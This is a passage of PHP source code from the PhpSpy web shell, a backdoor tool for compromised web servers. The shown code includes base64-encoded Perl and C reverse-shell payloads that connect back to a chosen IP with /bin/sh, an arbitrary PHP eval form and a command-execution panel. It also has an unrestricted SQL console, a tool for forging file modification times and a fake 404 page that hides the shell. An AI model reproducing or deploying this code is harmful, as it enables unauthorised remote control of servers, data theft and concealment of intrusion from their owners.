$start_limit = ( $page - 1 ) * $pagenum;
} else {
$start_limit = 0;
$page = 1;
}
if ( isset( $dbhost ) && isset( $dbuser ) && isset( $dbpass ) && isset( $connect ) ) {
dbconn( $dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport );
$mysqlver = mysql_get_server_info();
p( '<p>MySQL ' . $mysqlver . ' running in ' . $dbhost . ' as ' . $dbuser . '@' . $dbhost . '</p>' );
$highver = $mysqlver > '4.1' ? 1 : 0;
$query = q( "SHOW DATABASES" );
$dbs = array( );
$dbs[ ] = '-- Select a database --';
while ( $db = mysql_fetch_array( $query ) ) {
$dbs[ $db[ 'Database' ] ] = $db[ 'Database' ];
}
makeselect( array(
'title' => 'Please select a database:',
'name' => 'db[]',
'option' => $dbs,
'selected' => $dbname,
'onchange' => 'moddbname(this.options[this.selectedIndex].value)',
'newline' => 1
) );
$tabledb = array( );
if ( $dbname ) {
p( '<p>' );
p( 'Current dababase: <a href="javascript:moddbname(\'' . $dbname . '\');">' . $dbname . '</a>' );
if ( $tablename ) {
p( ' | Current Table: <a href="javascript:settable(\'' . $tablename . '\');">' . $tablename . '</a> [ <a href="javascript:settable(\'' . $tablename . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $tablename . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $tablename . '\', \'drop\');">Drop</a> ]' );
}
p( '</p>' );
mysql_select_db( $dbname );
$getnumsql = '';
$runquery = 0;
if ( $sql_query ) {
$runquery = 1;
}
$allowedit = 0;
if ( $tablename && !$sql_query ) {
$sql_query = "SELECT * FROM $tablename";
$getnumsql = $sql_query;
$sql_query = $sql_query . " LIMIT $start_limit, $pagenum";
$allowedit = 1;
}
p( '<form action="' . $self . '" method="POST">' );
p( '<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database ' . $dbname . ':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">' . htmlspecialchars( $sql_query, ENT_QUOTES ) . '</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>' );
makehide( 'tablename', $tablename );
makehide( 'action', 'sqladmin' );
p( $dbform );
p( '</form>' );
if ( $tablename || ( $runquery && $sql_query ) ) {
if ( $doing == 'structure' ) {
$result = q( "SHOW COLUMNS FROM $tablename" );
$rowdb = array( );
while ( $row = mysql_fetch_array( $result ) ) {
$rowdb[ ] = $row;
}
p( '<table border="0" cellpadding="3" cellspacing="0">' );
p( '<tr class="head">' );
p( '<td>Field</td>' );
p( '<td>Type</td>' );
p( '<td>Null</td>' );
p( '<td>Key</td>' );
p( '<td>Default</td>' );
p( '<td>Extra</td>' );
p( '</tr>' );
foreach ( $rowdb as $row ) {
$thisbg = bg();
p( '<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">' );
p( '<td>' . $row[ 'Field' ] . '</td>' );
p( '<td>' . $row[ 'Type' ] . '</td>' );
p( '<td>' . $row[ 'Null' ] . ' </td>' );
p( '<td>' . $row[ 'Key' ] . ' </td>' );
p( '<td>' . $row[ 'Default' ] . ' </td>' );
p( '<td>' . $row[ 'Extra' ] . ' </td>' );
p( '</tr>' );
}
tbfoot();
} elseif ( $doing == 'insert' || $doing == 'edit' ) {
$result = q( 'SHOW COLUMNS FROM ' . $tablename );
while ( $row = mysql_fetch_array( $result ) ) {
$rowdb[ ] = $row;
}
$rs = array( );
if ( $doing == 'insert' ) {
p( '<h2>Insert new line in ' . $tablename . ' table »</h2>' );
} else {
p( '<h2>Update record in ' . $tablename . ' table »</h2>' );
$where = base64_decode( $base64 );
$result = q( "SELECT * FROM $tablename WHERE $where LIMIT 1" );
$rs = mysql_fetch_array( $result );
}
p( '<form method="post" action="' . $self . '">' );
p( $dbform );
makehide( 'action', 'sqladmin' );
makehide( 'tablename', $tablename );
p( '<table border="0" cellpadding="3" cellspacing="0">' );
foreach ( $rowdb as $row ) {
if ( $rs[ $row[ 'Field' ] ] ) {
$value = htmlspecialchars( $rs[ $row[ 'Field' ] ] );
} else {
$value = '';
}
$thisbg = bg();
p( '<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">' );
p( '<td><b>' . $row[ 'Field' ] . '</b><br />' . $row[ 'Type' ] . '</td><td><textarea class="area" name="insertsql[' . $row[ 'Field' ] . ']" style="width:500px;height:60px;overflow:auto;">' . $value . '</textarea></td></tr>' );
}
if ( $doing == 'insert' ) {
p( '<tr class="' . bg() . '"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>' );
} else {
p( '<tr class="' . bg() . '"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>' );
makehide( 'base64', $base64 );
}
p( '</table></form>' );
} else {
$querys = @explode( ';', $sql_query );
foreach ( $querys as $num => $query ) {
if ( $query ) {
p( "<p><b>Query#{$num} : " . htmlspecialchars( $query, ENT_QUOTES ) . "</b></p>" );
switch ( qy( $query ) ) {
case 0:
p( '<h2>Error : ' . mysql_error() . '</h2>' );
break;
case 1:
if ( strtolower( substr( $query, 0, 13 ) ) == 'select * from' ) {
$allowedit = 1;
}
if ( $getnumsql ) {
$tatol = mysql_num_rows( q( $getnumsql ) );
$multipage = multi( $tatol, $pagenum, $page, $tablename );
}
if ( !$tablename ) {
$sql_line = str_replace( array(
"\r",
"\n",
"\t"
), array(
' ',
' ',
' '
), trim( htmlspecialchars( $query ) ) );
$sql_line = preg_replace( "/\/\*[^(\*\/)]*\*\//i", " ", $sql_line );
preg_match_all( "/from\s+`{0,1}([\w]+)`{0,1}\s+/i", $sql_line, $matches );
$tablename = $matches[ 1 ][ 0 ];
}
$result = q( $query );
p( $multipage );
p( '<table border="0" cellpadding="3" cellspacing="0">' );
p( '<tr class="head">' );
if ( $allowedit )
p( '<td>Action</td>' );
$fieldnum = @mysql_num_fields( $result );
for ( $i = 0; $i < $fieldnum; $i++ ) {
$name = @mysql_field_name( $result, $i );
$type = @mysql_field_type( $result, $i );
$len = @mysql_field_len( $result, $i );
p( "<td nowrap>$name<br><span>$type($len)</span></td>" );
}
p( '</tr>' );
while ( $mn = @mysql_fetch_assoc( $result ) ) {
$thisbg = bg();
p( '<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">' );
$where = $tmp = $b1 = '';
foreach ( $mn as $key => $inside ) {
if ( $inside ) {
$where .= $tmp . $key . "='" . addslashes( $inside ) . "'";
$tmp = ' AND ';
}
$b1 .= '<td nowrap>' . html_clean( $inside ) . ' </td>';
}
$where = base64_encode( $where );
if ( $allowedit )
p( '<td nowrap><a href="javascript:editrecord(\'edit\', \'' . $where . '\', \'' . $tablename . '\');">Edit</a> | <a href="javascript:editrecord(\'del\', \'' . $where . '\', \'' . $tablename . '\');">Del</a></td>' );
p( $b1 );
p( '</tr>' );
unset( $b1 );
}
tbfoot();
p( $multipage );
break;
case 2:
$ar = mysql_affected_rows();
p( '<h2>affected rows : <b>' . $ar . '</b></h2>' );
break;
}
}
}
}
} else {
$query = q( "SHOW TABLE STATUS" );
$table_num = $table_rows = $data_size = 0;
$tabledb = array( );
while ( $table = mysql_fetch_array( $query ) ) {
$data_size = $data_size + $table[ 'Data_length' ];
$table_rows = $table_rows + $table[ 'Rows' ];
$table[ 'Data_length' ] = sizecount( $table[ 'Data_length' ] );
$table_num++;
$tabledb[ ] = $table;
}
$data_size = sizecount( $data_size );
unset( $table );
p( '<table border="0" cellpadding="0" cellspacing="0">' );
p( '<form action="' . $self . '" method="POST">' );
makehide( 'action', 'sqladmin' );
p( $dbform );
p( '<tr class="head">' );
p( '<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>' );
p( '<td>Name</td>' );
p( '<td>Rows</td>' );
p( '<td>Data_length</td>' );
p( '<td>Create_time</td>' );
p( '<td>Update_time</td>' );
if ( $highver ) {
p( '<td>Engine</td>' );
p( '<td>Collation</td>' );
}
p( '</tr>' );
foreach ( $tabledb as $key => $table ) {
$thisbg = bg();
p( '<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">' );
p( '<td align="center" width="2%"><input type="checkbox" name="table[]" value="' . $table[ 'Name' ] . '" /></td>' );
p( '<td><a href="javascript:settable(\'' . $table[ 'Name' ] . '\');">' . $table[ 'Name' ] . '</a> [ <a href="javascript:settable(\'' . $table[ 'Name' ] . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $table[ 'Name' ] . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $table[ 'Name' ] . '\', \'drop\');">Drop</a> ]</td>' );
p( '<td>' . $table[ 'Rows' ] . '</td>' );
p( '<td>' . $table[ 'Data_length' ] . '</td>' );
p( '<td>' . $table[ 'Create_time' ] . '</td>' );
p( '<td>' . $table[ 'Update_time' ] . '</td>' );
if ( $highver ) {
p( '<td>' . $table[ 'Engine' ] . '</td>' );
p( '<td>' . $table[ 'Collation' ] . '</td>' );
}
p( '</tr>' );
}
p( '<tr class=' . bg() . '>' );
p( '<td> </td>' );
p( '<td>Total tables: ' . $table_num . '</td>' );
p( '<td>' . $table_rows . '</td>' );
p( '<td>' . $data_size . '</td>' );
p( '<td colspan="' . ( $highver ? 4 : 2 ) . '"> </td>' );
p( '</tr>' );
p( "<tr class=\"" . bg() . "\"><td colspan=\"" . ( $highver ? 8 : 6 ) . "\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"" . SA_ROOT . $_SERVER[ 'HTTP_HOST' ] . "_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>" );
makehide( 'doing', 'backupmysql' );
formfoot();
p( "</table>" );
fr( $query );
}
}
}
tbfoot();
@mysql_close();
} elseif ( $action == 'backconnect' ) {
!$yourip && $yourip = $_SERVER[ 'REMOTE_ADDR' ];
!$yourport && $yourport = '12345';
$usedb = array(
'perl' => 'perl',
'c' => 'c'
);
$back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
if ( $start && $yourip && $yourport && $use ) {
if ( $use == 'perl' ) {
cf( '/tmp/angel_bc', $back_connect );
$res = execute( which( 'perl' ) . " /tmp/angel_bc $yourip $yourport &" );
} else {
cf( '/tmp/angel_bc.c', $back_connect_c );
$res = execute( 'gcc -o /tmp/angel_bc /tmp/angel_bc.c' );
@unlink( '/tmp/angel_bc.c' );
$res = execute( "/tmp/angel_bc $yourip $yourport &" );
}
m( "Now script try connect to $yourip port $yourport ..." );
}
formhead( array(
'title' => 'Back Connect'
) );
makehide( 'action', 'backconnect' );
p( '<p>' );
p( 'Your IP:' );
makeinput( array(
'name' => 'yourip',
'size' => 20,
'value' => $yourip
) );
p( 'Your Port:' );
makeinput( array(
'name' => 'yourport',
'size' => 15,
'value' => $yourport
) );
p( 'Use:' );
makeselect( array(
'name' => 'use',
'option' => $usedb,
'selected' => $use
) );
makeinput( array(
'name' => 'start',
'value' => 'Start',
'type' => 'submit',
'class' => 'bt'
) );
p( '</p>' );
formfoot();
} elseif ( $action == 'eval' ) {
$phpcode = trim( $phpcode );
if ( $phpcode ) {
if ( !preg_match( '#<\?#si', $phpcode ) ) {
$phpcode = "<?php\n\n{$phpcode}\n\n?>";
}
eval( "?" . ">$phpcode<?" );
}
formhead( array(
'title' => 'Eval PHP Code'
) );
makehide( 'action', 'eval' );
maketext( array(
'title' => 'PHP Code',
'name' => 'phpcode',
'value' => $phpcode
) );
p( '<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>' );
formfooter();
} elseif ( $action == 'editfile' ) {
if ( file_exists( $opfile ) ) {
$fp = @fopen( $opfile, 'r' );
$contents = @fread( $fp, filesize( $opfile ) );
@fclose( $fp );
$contents = htmlspecialchars( $contents );
}
formhead( array(
'title' => 'Create / Edit File'
) );
makehide( 'action', 'file' );
makehide( 'dir', $nowpath );
makeinput( array(
'title' => 'Current File (import new file name and new file)',
'name' => 'editfilename',
'value' => $opfile,
'newline' => 1
) );
maketext( array(
'title' => 'File Content',
'name' => 'filecontent',
'value' => $contents
) );
formfooter();
} elseif ( $action == 'newtime' ) {
$opfilemtime = @filemtime( $opfile );
$cachemonth = array(
'January' => 1,
'February' => 2,
'March' => 3,
'April' => 4,
'May' => 5,
'June' => 6,
'July' => 7,
'August' => 8,
'September' => 9,
'October' => 10,
'November' => 11,
'December' => 12
);
formhead( array(
'title' => 'Clone file was last modified time'
) );
makehide( 'action', 'file' );
makehide( 'dir', $nowpath );
makeinput( array(
'title' => 'Alter file',
'name' => 'curfile',
'value' => $opfile,
'size' => 120,
'newline' => 1
) );
makeinput( array(
'title' => 'Reference file (fullpath)',
'name' => 'tarfile',
'size' => 120,
'newline' => 1
) );
formfooter();
formhead( array(
'title' => 'Set last modified'
) );
makehide( 'action', 'file' );
makehide( 'dir', $nowpath );
makeinput( array(
'title' => 'Current file (fullpath)',
'name' => 'curfile',
'value' => $opfile,
'size' => 120,
'newline' => 1
) );
p( '<p>Instead »' );
p( 'year:' );
makeinput( array(
'name' => 'year',
'value' => date( 'Y', $opfilemtime ),
'size' => 4
) );
p( 'month:' );
makeinput( array(
'name' => 'month',
'value' => date( 'm', $opfilemtime ),
'size' => 2
) );
p( 'day:' );
makeinput( array(
'name' => 'day',
'value' => date( 'd', $opfilemtime ),
'size' => 2
) );
p( 'hour:' );
makeinput( array(
'name' => 'hour',
'value' => date( 'H', $opfilemtime ),
'size' => 2
) );
p( 'minute:' );
makeinput( array(
'name' => 'minute',
'value' => date( 'i', $opfilemtime ),
'size' => 2
) );
p( 'second:' );
makeinput( array(
'name' => 'second',
'value' => date( 's', $opfilemtime ),
'size' => 2
) );
p( '</p>' );
formfooter();
} elseif ( $action == 'shell' ) {
if ( IS_WIN && IS_COM ) {
if ( $program && $parameter ) {
$shell = new COM( 'Shell.Application' );
$a = $shell->ShellExecute( $program, $parameter );
m( 'Program run has ' . ( !$a ? 'success' : 'fail' ) );
}
!$program && $program = 'c:\windows\system32\cmd.exe';
!$parameter && $parameter = '/c net start > ' . SA_ROOT . 'log.txt';
formhead( array(
'title' => 'Execute Program'
) );
makehide( 'action', 'shell' );
makeinput( array(
'title' => 'Program',
'name' => 'program',
'value' => $program,
'newline' => 1
) );
p( '<p>' );
makeinput( array(
'title' => 'Parameter',
'name' => 'parameter',
'value' => $parameter
) );
makeinput( array(
'name' => 'submit',
'class' => 'bt',
'type' => 'submit',
'value' => 'Execute'
) );
p( '</p>' );
formfoot();
}
formhead( array(
'title' => 'Execute Command'
) );
makehide( 'action', 'shell' );
if ( IS_WIN && IS_COM ) {
$execfuncdb = array(
'phpfunc' => 'phpfunc',
'wscript' => 'wscript',
'proc_open' => 'proc_open'
);
makeselect( array(
'title' => 'Use:',
'name' => 'execfunc',
'option' => $execfuncdb,
'selected' => $execfunc,
'newline' => 1
) );
}
p( '<p>' );
makeinput( array(
'title' => 'Command',
'name' => 'command',
'value' => $command
) );
makeinput( array(
'name' => 'submit',
'class' => 'bt',
'type' => 'submit',
'value' => 'Execute'
) );
p( '</p>' );
formfoot();
if ( $command ) {
p( '<hr width="100%" noshade /><pre>' );
if ( $execfunc == 'wscript' && IS_WIN && IS_COM ) {
$wsh = new COM( 'WScript.shell' );
$exec = $wsh->exec( 'cmd.exe /c ' . $command );
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
} elseif ( $execfunc == 'proc_open' && IS_WIN && IS_COM ) {
$descriptorspec = array(
0 => array(
'pipe',
'r'
),
1 => array(
'pipe',
'w'
),
2 => array(
'pipe',
'w'
)
);
$process = proc_open( $_SERVER[ 'COMSPEC' ], $descriptorspec, $pipes );
if ( is_resource( $process ) ) {
fwrite( $pipes[ 0 ], $command . "\r\n" );
fwrite( $pipes[ 0 ], "exit\r\n" );
fclose( $pipes[ 0 ] );
while ( !feof( $pipes[ 1 ] ) ) {
echo fgets( $pipes[ 1 ], 1024 );
}
fclose( $pipes[ 1 ] );
while ( !feof( $pipes[ 2 ] ) ) {
echo fgets( $pipes[ 2 ], 1024 );
}
fclose( $pipes[ 2 ] );
proc_close( $process );
}
} else {
echo ( execute( $command ) );
}
p( '</pre>' );
}
} elseif ( $action == 'phpenv' ) {
$upsize = getcfg( 'file_uploads' ) ? getcfg( 'upload_max_filesize' ) : 'Not allowed';
$adminmail = isset( $_SERVER[ 'SERVER_ADMIN' ] ) ? $_SERVER[ 'SERVER_ADMIN' ] : getcfg( 'sendmail_from' );
!$dis_func && $dis_func = 'No';
$info = array(
1 => array(
'Server Time',
date( 'Y/m/d h:i:s', $timestamp )
),
2 => array(
'Server Domain',
$_SERVER[ 'SERVER_NAME' ]
),
3 => array(
'Server IP',
gethostbyname( $_SERVER[ 'SERVER_NAME' ] )
),
4 => array(
'Server OS',
PHP_OS
),
5 => array(
'Server OS Charset',
$_SERVER[ 'HTTP_ACCEPT_LANGUAGE' ]
),
6 => array(
'Server Software',
$_SERVER[ 'SERVER_SOFTWARE' ]
),
7 => array(
'Server Web Port',
$_SERVER[ 'SERVER_PORT' ]
),
8 => array(
'PHP run mode',
strtoupper( php_sapi_name() )
),
9 => array(
'The file path',
__FILE__
),
10 => array(
'PHP Version',
PHP_VERSION
),
11 => array(
'PHPINFO',
( IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No' )
),
12 => array(
'Safe Mode',
getcfg( 'safe_mode' )
),
13 => array(
'Administrator',
$adminmail
),
14 => array(
'allow_url_fopen',
getcfg( 'allow_url_fopen' )
),
15 => array(
'enable_dl',
getcfg( 'enable_dl' )
),
16 => array(
'display_errors',
getcfg( 'display_errors' )
),
17 => array(
'register_globals',
getcfg( 'register_globals' )
),
18 => array(
'magic_quotes_gpc',
getcfg( 'magic_quotes_gpc' )
),
19 => array(
'memory_limit',
getcfg( 'memory_limit' )
),
20 => array(
'post_max_size',
getcfg( 'post_max_size' )
),
21 => array(
'upload_max_filesize',
$upsize
),
22 => array(
'max_execution_time',
getcfg( 'max_execution_time' ) . ' second(s)'
),
23 => array(
'disable_functions',
$dis_func
)
);
if ( $phpvarname ) {
m( $phpvarname . ' : ' . getcfg( $phpvarname ) );
}
formhead( array(
'title' => 'Server environment'
) );
makehide( 'action', 'phpenv' );
makeinput( array(
'title' => 'Please input PHP configuration parameter(eg:magic_quotes_gpc)',
'name' => 'phpvarname',
'value' => $phpvarname,
'newline' => 1
) );
formfooter();
$hp = array(
0 => 'Server',
1 => 'PHP'
);
for ( $a = 0; $a < 2; $a++ ) {
p( '<h2>' . $hp[ $a ] . ' »</h2>' );
p( '<ul class="info">' );
if ( $a == 0 ) {
for ( $i = 1; $i <= 9; $i++ ) {
p( '<li><u>' . $info[ $i ][ 0 ] . ':</u>' . $info[ $i ][ 1 ] . '</li>' );
}
} elseif ( $a == 1 ) {
for ( $i = 10; $i <= 23; $i++ ) {
p( '<li><u>' . $info[ $i ][ 0 ] . ':</u>' . $info[ $i ][ 1 ] . '</li>' );
}
}
p( '</ul>' );
}
} else {
m( 'Undefined Action' );
}
?>
</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
<span style="float:right;"><?php
debuginfo();
ob_end_flush();
?></span>
Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
</div>
</body>
</html>
<?php
function m( $msg )
{
echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
echo $msg;
echo '</div>';
}
function scookie( $key, $value, $life = 0, $prefix = 1 )
{
global $admin, $timestamp, $_SERVER;
$key = ( $prefix ? $admin[ 'cookiepre' ] : '' ) . $key;
$life = $life ? $life : $admin[ 'cookielife' ];
$useport = $_SERVER[ 'SERVER_PORT' ] == 443 ? 1 : 0;
setcookie( $key, $value, $timestamp + $life, $admin[ 'cookiepath' ], $admin[ 'cookiedomain' ], $useport );
}
function multi( $num, $perpage, $curpage, $tablename )
{
$multipage = '';
if ( $num > $perpage ) {
$page = 10;
$offset = 5;
$pages = @ceil( $num / $perpage );
if ( $page > $pages ) {
$from = 1;
$to = $pages;
} else {
$from = $curpage - $offset;
$to = $curpage + $page - $offset - 1;
if ( $from < 1 ) {
$to = $curpage + 1 - $from;
$from = 1;
if ( ( $to - $from ) < $page && ( $to - $from ) < $pages ) {
$to = $page;
}
} elseif ( $to > $pages ) {
$from = $curpage - $pages + $to;
$to = $pages;
if ( ( $to - $from ) < $page && ( $to - $from ) < $pages ) {
$from = $pages - $page + 1;
}
}
}
$multipage = ( $curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', 1);">First</a> ' : '' ) . ( $curpage > 1 ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ( $curpage - 1 ) . ');">Prev</a> ' : '' );
for ( $i = $from; $i <= $to; $i++ ) {
$multipage .= $i == $curpage ? $i . ' ' : '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $i . ');">[' . $i . ']</a> ';
}
$multipage .= ( $curpage < $pages ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ( $curpage + 1 ) . ');">Next</a>' : '' ) . ( $to < $pages ? ' <a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $pages . ');">Last</a>' : '' );
$multipage = $multipage ? '<p>Pages: ' . $multipage . '</p>' : '';
}
return $multipage;
}
function loginpage( )
{
header( "HTTP/1.1 404 Not Found" );
?>
<h1>Not Found</h1>
<p>The requested URL <?php
echo htmlspecialchars( $_SERVER[ 'REQUEST_URI' ] );
?> was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
<?php
exit;
}
function execute( $cfe )
{
$res = '';
if ( $cfe ) {
if ( function_exists( 'exec' ) ) {
@exec( $cfe, $res );
$res = join( "\n", $res );
} elseif ( function_exists( 'shell_exec' ) ) {
$res = @shell_exec( $cfe );
} elseif ( function_exists( 'system' ) ) {
@ob_start();
@system( $cfe );
$res = @ob_get_contents();
@ob_end_clean();
} elseif ( function_exists( 'passthru' ) ) {
@ob_start();
@passthru( $cfe );
$res = @ob_get_contents();
@ob_end_clean();
} elseif ( @is_resource( $f = @popen( $cfe, "r" ) ) ) {
$res = '';
while ( !@feof( $f ) ) {
$res .= @fread( $f, 1024 );
}
@pclose( $f );
}
}
return $res;
}
function which( $pr )
{
$path = execute( "which $pr" );
return ( $path ? $path : $pr );
}
function cf( $fname, $text )
{
if ( $fp = @fopen( $fname, 'w' ) ) {
@fputs( $fp, base64_decode( $text ) );
@fclose( $fp );
}
}
function debuginfo( )
{
global $starttime;
$mtime = explode( ' ', microtime() );
$totaltime = number_format( ( $mtime[ 1 ] + $mtime[ 0 ] - $starttime ), 6 );
echo 'Processed in ' . $totaltime . ' second(s)';
}
function dbconn( $dbhost, $dbuser, $dbpass, $dbname = '', $charset = '', $dbport = '3306' )
{
if ( !$link = @mysql_connect( $dbhost . ':' . $dbport, $dbuser, $dbpass ) ) {
p( '<h2>Can not connect to MySQL server</h2>' );
exit;
}
if ( $link && $dbname ) {
if ( !@mysql_select_db( $dbname, $link ) ) {
p( '<h2>Database selected has error</h2>' );
exit;
}
}
if ( $link && mysql_get_server_info() > '4.1' ) {
if ( in_array( strtolower( $charset ), array(
'gbk',
'big5',
'utf8'
) ) ) {
q( "SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link );
}
}
return $link;
}
function s_array( &$array )
{
if ( is_array( $array ) ) {
foreach ( $array as $k => $v ) {
$array[ $k ] = s_array( $v );
}
} else if ( is_string( $array ) ) {
$array = stripslashes( $array );
}
return $array;
}
function html_clean( $content )
{
$content = htmlspecialchars( $content );
$content = str_replace( "\n", "<br />", $content );
$content = str_replace( " ", " ", $content );
$content = str_replace( "\t", " ", $content );
return $content;
}
function getChmod( $filepath )
{
return substr( base_convert( @fileperms( $filepath ), 10, 8 ), -4 );
}
function getPerms( $filepath )
{
$mode = @fileperms( $filepath );
if ( ( $mode & 0xC000 ) === 0xC000 ) {
$type = 's';
} elseif ( ( $mode & 0x4000 ) === 0x4000 ) {
$type = 'd';
} elseif ( ( $mode & 0xA000 ) === 0xA000 ) {
$type = 'l';
} elseif ( ( $mode & 0x8000 ) === 0x8000 ) {
$type = '-';
} elseif ( ( $mode & 0x6000 ) === 0x6000 ) {
$type = 'b';
} elseif ( ( $mode & 0x2000 ) === 0x2000 ) {
$type = 'c';
} elseif ( ( $mode & 0x1000 ) === 0x1000 ) {
$type = 'p';
} else {
$type = '?';
}
$owner[ 'read' ] = ( $mode & 00400 ) ? 'r' : '-';
$owner[ 'write' ] = ( $mode & 00200 ) ? 'w' : '-';
$owner[ 'execute' ] = ( $mode & 00100 ) ? 'x' : '-';
$group[ 'read' ] = ( $mode & 00040 ) ? 'r' : '-';
$group[ 'write' ] = ( $mode & 00020 ) ? 'w' : '-';
$group[ 'execute' ] = ( $mode & 00010 ) ? 'x' : '-';
$world[ 'read' ] = ( $mode & 00004 ) ? 'r' : '-';
$world[ 'write' ] = ( $mode & 00002 ) ? 'w' : '-';
$world[ 'execute' ] = ( $mode & 00001 ) ? 'x' : '-';
if ( $mode & 0x800 ) {
$owner[ 'execute' ] = ( $owner[ 'execute' ] == 'x' ) ? 's' : 'S';
}
if ( $mode & 0x400 ) {
$group[ 'execute' ] = ( $group[ 'execute' ] == 'x' ) ? 's' : 'S';
}
if ( $mode & 0x200 ) {
$world[ 'execute' ] = ( $world[ 'execute' ] == 'x' ) ? 't' : 'T';
}
return $type . $owner[ 'read' ] . $owner[ 'write' ] . $owner[ 'execute' ] . $group[ 'read' ] . $group[ 'write' ] . $group[ 'execute' ] . $world[ 'read' ] . $world[ 'write' ] . $world[ 'execute' ];
}
function getUser( $filepath )
{
if ( function_exists( 'posix_getpwuid' ) ) {
$array = @posix_getpwuid( @fileowner( $filepath ) );
if ( $array && is_array( $array ) ) {
return ' / <a href="#" title="User: ' . $array[ 'name' ] . '
Passwd: ' . $array[ 'passwd' ] . '
Uid: ' . $array[ 'uid' ] . '
gid: ' . $array[ 'gid' ] . '
Gecos: ' . $array[ 'gecos' ] . '
Dir: ' . $array[ 'dir' ] . '
Shell: ' . $array[ 'shell' ] . '">' . $array[ 'name' ] . '</a>';
}
}
return '';
}
function deltree( $deldir )
{
$mydir = @dir( $deldir );
